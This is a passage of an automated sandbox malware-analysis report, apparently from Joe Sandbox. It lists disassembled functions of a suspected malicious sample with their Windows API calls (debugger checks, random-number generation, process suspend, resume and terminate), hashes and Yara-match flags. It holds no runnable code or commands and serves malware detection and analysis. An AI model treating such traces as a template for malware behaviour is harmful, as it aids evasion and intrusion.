                                                                                            • Instruction ID: 402ed7a5658d2f2a6adb961a0daa6f616ba37c5e7974c2bf040f6c8ce137202a
                                                                                            • Opcode Fuzzy Hash: cd1cc56ca7ff52f5bc7cd3823b4629f0e35a23eddf0c6bc2a949d1347ff7edba
                                                                                            • Instruction Fuzzy Hash: 127141728001199BCB15EBA1DC919EE7778AF54314F10427FE846B71E2EF385E49CB98
                                                                                            Function 0045107A Relevance: 4.7, APIs: 3, Instructions: 205COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 004470CF: GetLastError.KERNEL32(?,?,0043952C,?,00000000,?,0043BB65,00000000,00000000), ref: 004470D3
                                                                                              • Part of subcall function 004470CF: _free.LIBCMT ref: 00447106
                                                                                              • Part of subcall function 004470CF: SetLastError.KERNEL32(00000000,00000000,00000000), ref: 00447147
                                                                                              • Part of subcall function 004470CF: _abort.LIBCMT ref: 0044714D
                                                                                              • Part of subcall function 004470CF: _free.LIBCMT ref: 0044712E
                                                                                              • Part of subcall function 004470CF: SetLastError.KERNEL32(00000000,00000000,00000000), ref: 0044713B
                                                                                            • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 004510CE
                                                                                            • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0045111F
                                                                                            • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 004511DF
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ErrorInfoLastLocale$_free$_abort
                                                                                            • String ID:
                                                                                            • API String ID: 2829624132-0
                                                                                            • Opcode ID: dd837d4aabf90151236531eaa8a7eeaa8db7e820d6096a7a5c305d7033fab590
                                                                                            • Instruction ID: aee342ac21436657f5846041838c3bd09d84a4d920a4c2a145562aed062da8a9
                                                                                            • Opcode Fuzzy Hash: dd837d4aabf90151236531eaa8a7eeaa8db7e820d6096a7a5c305d7033fab590
                                                                                            • Instruction Fuzzy Hash: F661D8719005079BDB289F25CC82B7677A8EF04306F1041BBFD05D66A2EB78D949DB58
                                                                                            Function 0043A86D Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • IsDebuggerPresent.KERNEL32(?,?,?,?,?,0000000A), ref: 0043A965
                                                                                            • SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,0000000A), ref: 0043A96F
                                                                                            • UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,0000000A), ref: 0043A97C
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ExceptionFilterUnhandled$DebuggerPresent
                                                                                            • String ID:
                                                                                            • API String ID: 3906539128-0
                                                                                            • Opcode ID: af6e046c0509c32b3386d0bc76265e00dd1467fe013a3816057f721e951f2d82
                                                                                            • Instruction ID: 2e36d9e0b5662236be867d7d52d6a22dc3a0b47d07fc7de068387a758ceea7c7
                                                                                            • Opcode Fuzzy Hash: af6e046c0509c32b3386d0bc76265e00dd1467fe013a3816057f721e951f2d82
                                                                                            • Instruction Fuzzy Hash: E731D6B491131CABCB21DF24D98978DB7B8BF08311F5051EAE80CA7251EB749F818F49
                                                                                            Function 100060E2 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 100061DA
                                                                                            • SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 100061E4
                                                                                            • UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 100061F1
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: ExceptionFilterUnhandled$DebuggerPresent
                                                                                            • String ID:
                                                                                            • API String ID: 3906539128-0
                                                                                            • Opcode ID: 9058010cd15fc66324dfcb9f974f53c8d28613eb360f6b8a0023823f9da020d8
                                                                                            • Instruction ID: da4494ed88e82f72bec2981ffd8ad716d5acf317cb547f21db02b9c2842d332f
                                                                                            • Opcode Fuzzy Hash: 9058010cd15fc66324dfcb9f974f53c8d28613eb360f6b8a0023823f9da020d8
                                                                                            • Instruction Fuzzy Hash: 4A31D37490122C9BEB21DF24DD88B8DBBB8EF08350F5041DAE81CA7265E7709F818F55
                                                                                            Function 00432B45 Relevance: 4.5, APIs: 3, Instructions: 30encryptionCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000,?,00000001,004328CD,00000024,?,?,?), ref: 00432B57
                                                                                            • CryptGenRandom.ADVAPI32(?,?,?,?,?,?,?,?,?,0042CDC9,?), ref: 00432B6D
                                                                                            • CryptReleaseContext.ADVAPI32(?,00000000,?,?,?,?,?,?,0042CDC9,?), ref: 00432B7F
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Crypt$Context$AcquireRandomRelease
                                                                                            • String ID:
                                                                                            • API String ID: 1815803762-0
                                                                                            • Opcode ID: 35a60dd61fd8b237ab80bed8c3b3b6d5f5cecafcaafe6d2ae27acd69f3d7963f
                                                                                            • Instruction ID: 69441ad90531868046e0b1178e1924530c202fcb63ed7aa5228c64bcbe668f15
                                                                                            • Opcode Fuzzy Hash: 35a60dd61fd8b237ab80bed8c3b3b6d5f5cecafcaafe6d2ae27acd69f3d7963f
                                                                                            • Instruction Fuzzy Hash: ADE09231608350FFFB300F25AC08F177B94EB89B65F21063AF155E40E4CAA59805961C
                                                                                            Function 00442764 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetCurrentProcess.KERNEL32(?,?,0044273A,?,0046EAF0,0000000C,00442891,?,00000002,00000000), ref: 00442785
                                                                                            • TerminateProcess.KERNEL32(00000000,?,0044273A,?,0046EAF0,0000000C,00442891,?,00000002,00000000), ref: 0044278C
                                                                                            • ExitProcess.KERNEL32 ref: 0044279E
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Process$CurrentExitTerminate
                                                                                            • String ID:
                                                                                            • API String ID: 1703294689-0
                                                                                            • Opcode ID: 580307e7f9ed19ccdf9c10412063d8ea8bc62da0884c48fe7532ae208af4f440
                                                                                            • Instruction ID: c8bd48e99420b6c7b8697c64d03bd4ba31791432aa3bec6fd876c0c539ce8582
                                                                                            • Opcode Fuzzy Hash: 580307e7f9ed19ccdf9c10412063d8ea8bc62da0884c48fe7532ae208af4f440
                                                                                            • Instruction Fuzzy Hash: 7EE04F31000704AFEF016F10DD099493F29EF50396F448469F90896132CF79DC42CA48
                                                                                            Function 10004AB4 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetCurrentProcess.KERNEL32(?,?,10004A8A,?,10012238,0000000C,10004BBD,00000000,00000000,00000001,10002082,10012108,0000000C,10001F3A,?), ref: 10004AD5
                                                                                            • TerminateProcess.KERNEL32(00000000,?,10004A8A,?,10012238,0000000C,10004BBD,00000000,00000000,00000001,10002082,10012108,0000000C,10001F3A,?), ref: 10004ADC
                                                                                            • ExitProcess.KERNEL32 ref: 10004AEE
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: Process$CurrentExitTerminate
                                                                                            • String ID:
                                                                                            • API String ID: 1703294689-0
                                                                                            • Opcode ID: 0083298fcdf57ae02ee63dbac9b2f40de16c14eb6cad1f3ac06a4de9001c4c8a
                                                                                            • Instruction ID: 67c7ca3480f18a9b01e05da0926f82de4ad888d39fdd55e1be860e0f4a97641b
                                                                                            • Opcode Fuzzy Hash: 0083298fcdf57ae02ee63dbac9b2f40de16c14eb6cad1f3ac06a4de9001c4c8a
                                                                                            • Instruction Fuzzy Hash: 04E04676000218AFEF01BF25CD48B493B6AEF013C1F128010F9088B029CB35ED52CA68
                                                                                            Function 0041AECC Relevance: 4.5, APIs: 3, Instructions: 19nativeCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • OpenProcess.KERNEL32(00000800,00000000,00000000,?,?,0041525B,00000000), ref: 0041AED7
                                                                                            • NtSuspendProcess.NTDLL(00000000), ref: 0041AEE4
                                                                                            • CloseHandle.KERNEL32(00000000,?,?,0041525B,00000000), ref: 0041AEED
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Process$CloseHandleOpenSuspend
                                                                                            • String ID:
                                                                                            • API String ID: 1999457699-0
                                                                                            • Opcode ID: 3b5e723eaf058cf4912863f44fffedc3e3ae8a4bfc071aeb07fd662f2e304fa3
                                                                                            • Instruction ID: cbdad53ed629db76d40e0897fbdb217e77766e02faa6d5bf56048ccc5fb15ac5
                                                                                            • Opcode Fuzzy Hash: 3b5e723eaf058cf4912863f44fffedc3e3ae8a4bfc071aeb07fd662f2e304fa3
                                                                                            • Instruction Fuzzy Hash: 80D05E32500222638220176A7C0D997EE68DBC1AB2702416AF404D22219E30C88186A9
                                                                                            Function 0041AEF8 Relevance: 4.5, APIs: 3, Instructions: 19nativeCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • OpenProcess.KERNEL32(00000800,00000000,00000000,?,?,00415280,00000000), ref: 0041AF03
                                                                                            • NtResumeProcess.NTDLL(00000000), ref: 0041AF10
                                                                                            • CloseHandle.KERNEL32(00000000,?,?,00415280,00000000), ref: 0041AF19
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Process$CloseHandleOpenResume
                                                                                            • String ID:
                                                                                            • API String ID: 3614150671-0
                                                                                            • Opcode ID: 6d31317880465a65d63f867429a7c123c2a1788788c54349cbb6221ea43f3537
                                                                                            • Instruction ID: 5834692e6dbfc7302e0627ffd9745f57241b902771746b5adb28784224297b78
                                                                                            • Opcode Fuzzy Hash: 6d31317880465a65d63f867429a7c123c2a1788788c54349cbb6221ea43f3537
                                                                                            • Instruction Fuzzy Hash: 7CD05E32504121638220176A6C0D997ED68DBC5AB3702422AF504D22219E30C881C6A8
                                                                                            Function 0044D7F9 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: .
                                                                                            • API String ID: 0-248832578
                                                                                            • Opcode ID: 90d0b4729825bd90b6a9b0e481f721cabe6d10aefd9ef70f2d231800c5ca14c4
                                                                                            • Instruction ID: eafca5d3f29716c6c78e4e4ea3ad02361a474eaab44c7f235df41bcab4a95e78
                                                                                            • Opcode Fuzzy Hash: 90d0b4729825bd90b6a9b0e481f721cabe6d10aefd9ef70f2d231800c5ca14c4
                                                                                            • Instruction Fuzzy Hash: 3431F472D00249ABEB249E79CC85EFB7BBDDB85314F0401AEF419D7251E6349E418B54
                                                                                            Function 10006580 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: .
                                                                                            • API String ID: 0-248832578
                                                                                            • Opcode ID: d62ff9c274239ee522e16b5fb8162bf78a9045f13a61a74130903e5937500e37
                                                                                            • Instruction ID: 9046c4836333a0efab45ea1e09b7d9ff5bbd95f87beecc7c41f4b92e1cb642f0
                                                                                            • Opcode Fuzzy Hash: d62ff9c274239ee522e16b5fb8162bf78a9045f13a61a74130903e5937500e37
                                                                                            • Instruction Fuzzy Hash: 45313771800159AFEB14CF74CC84EEA7BBEDB49384F200198F81997259E6319E448B60
                                                                                            Function 004477A7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,?,?,00000004), ref: 004477FA
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: InfoLocale
                                                                                            • String ID: GetLocaleInfoEx
                                                                                            • API String ID: 2299586839-2904428671
                                                                                            • Opcode ID: 6bd799bfac9af36fd133eb5d72b5b36b41e76e7aabeb18fd4f2c376b7933ddb9
                                                                                            • Instruction ID: 58a0a1dc03b065be57d87c6409a63545e464c60cfee5b8c381720ea1698dad41
                                                                                            • Opcode Fuzzy Hash: 6bd799bfac9af36fd133eb5d72b5b36b41e76e7aabeb18fd4f2c376b7933ddb9
                                                                                            • Instruction Fuzzy Hash: A0F0F631640318B7DB056F61CC06F6E7B64DB04712F10019AFC0467252CF75AB119A9D
                                                                                            Function 00441030 Relevance: 3.5, APIs: 2, Instructions: 464COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 49a3bfabf79a65c690f97e76fe456cb77f79ea6cd6c50daa38502d700b1f7d22
                                                                                            • Instruction ID: e2cf6eb340ac48f4c2d61266dea52d41f096047f3e1279b99095df37311d6468
                                                                                            • Opcode Fuzzy Hash: 49a3bfabf79a65c690f97e76fe456cb77f79ea6cd6c50daa38502d700b1f7d22
                                                                                            • Instruction Fuzzy Hash: 6A023D71E002199BEF14CFA9C9806AEB7F1FF48314F15826AD919E7354D734AE41CB94
                                                                                            Function 004522E2 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,004522DD,?,?,00000008,?,?,00455622,00000000), ref: 0045250F
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ExceptionRaise
                                                                                            • String ID:
                                                                                            • API String ID: 3997070919-0
                                                                                            • Opcode ID: d07e5f888e39d313e61fc9618f59c4e8dd55f143eba3426c2705e6c45139c68f
                                                                                            • Instruction ID: f5116c66f7d103febd2a8608562706e5703b7900b8c4b7f838cfdcb30f3e5b5c
                                                                                            • Opcode Fuzzy Hash: d07e5f888e39d313e61fc9618f59c4e8dd55f143eba3426c2705e6c45139c68f
                                                                                            • Instruction Fuzzy Hash: A3B19D312106089FD714CF28C586B557BE0FF06366F29865AEC9ACF2A2C379D986CB44
                                                                                            Function 1000B5C1 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,1000B5BC,?,?,00000008,?,?,1000B25C,00000000), ref: 1000B7EE
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: ExceptionRaise
                                                                                            • String ID:
                                                                                            • API String ID: 3997070919-0
                                                                                            • Opcode ID: 5385f7ee1153a66eb2669645b58237e3e0719d9079e030963b5c19e75e4dc3f3
                                                                                            • Instruction ID: c899a2dc376e060411cab8954cdd4c29929d9ba6cfa71f030d59b99a2ca162da
                                                                                            • Opcode Fuzzy Hash: 5385f7ee1153a66eb2669645b58237e3e0719d9079e030963b5c19e75e4dc3f3
                                                                                            • Instruction Fuzzy Hash: 0DB16B31610A09CFE755CF28C486B647BE0FF453A4F25C658E89ACF2A5C735E982CB40
                                                                                            Function 00432C54 Relevance: 1.8, Strings: 1, Instructions: 500COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: 0
                                                                                            • API String ID: 0-4108050209
                                                                                            • Opcode ID: b6bf49add14664c6f8016bf54831dc2d1fc9c90be302da46ea9abcdaf86f1ea8
                                                                                            • Instruction ID: 31134252bc459ed72560d692cedbd99cf1c15514e9e569b0755b2466d1e16266
                                                                                            • Opcode Fuzzy Hash: b6bf49add14664c6f8016bf54831dc2d1fc9c90be302da46ea9abcdaf86f1ea8
                                                                                            • Instruction Fuzzy Hash: 0B0285327083418BD714DF29D951B2EF3E1BFCC768F15892EF4899B381DA78A8058B85
                                                                                            Function 004512CA Relevance: 1.6, APIs: 1, Instructions: 83COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 004470CF: GetLastError.KERNEL32(?,?,0043952C,?,00000000,?,0043BB65,00000000,00000000), ref: 004470D3
                                                                                              • Part of subcall function 004470CF: _free.LIBCMT ref: 00447106
                                                                                              • Part of subcall function 004470CF: SetLastError.KERNEL32(00000000,00000000,00000000), ref: 00447147
                                                                                              • Part of subcall function 004470CF: _abort.LIBCMT ref: 0044714D
                                                                                              • Part of subcall function 004470CF: _free.LIBCMT ref: 0044712E
                                                                                              • Part of subcall function 004470CF: SetLastError.KERNEL32(00000000,00000000,00000000), ref: 0044713B
                                                                                            • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0045131E
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
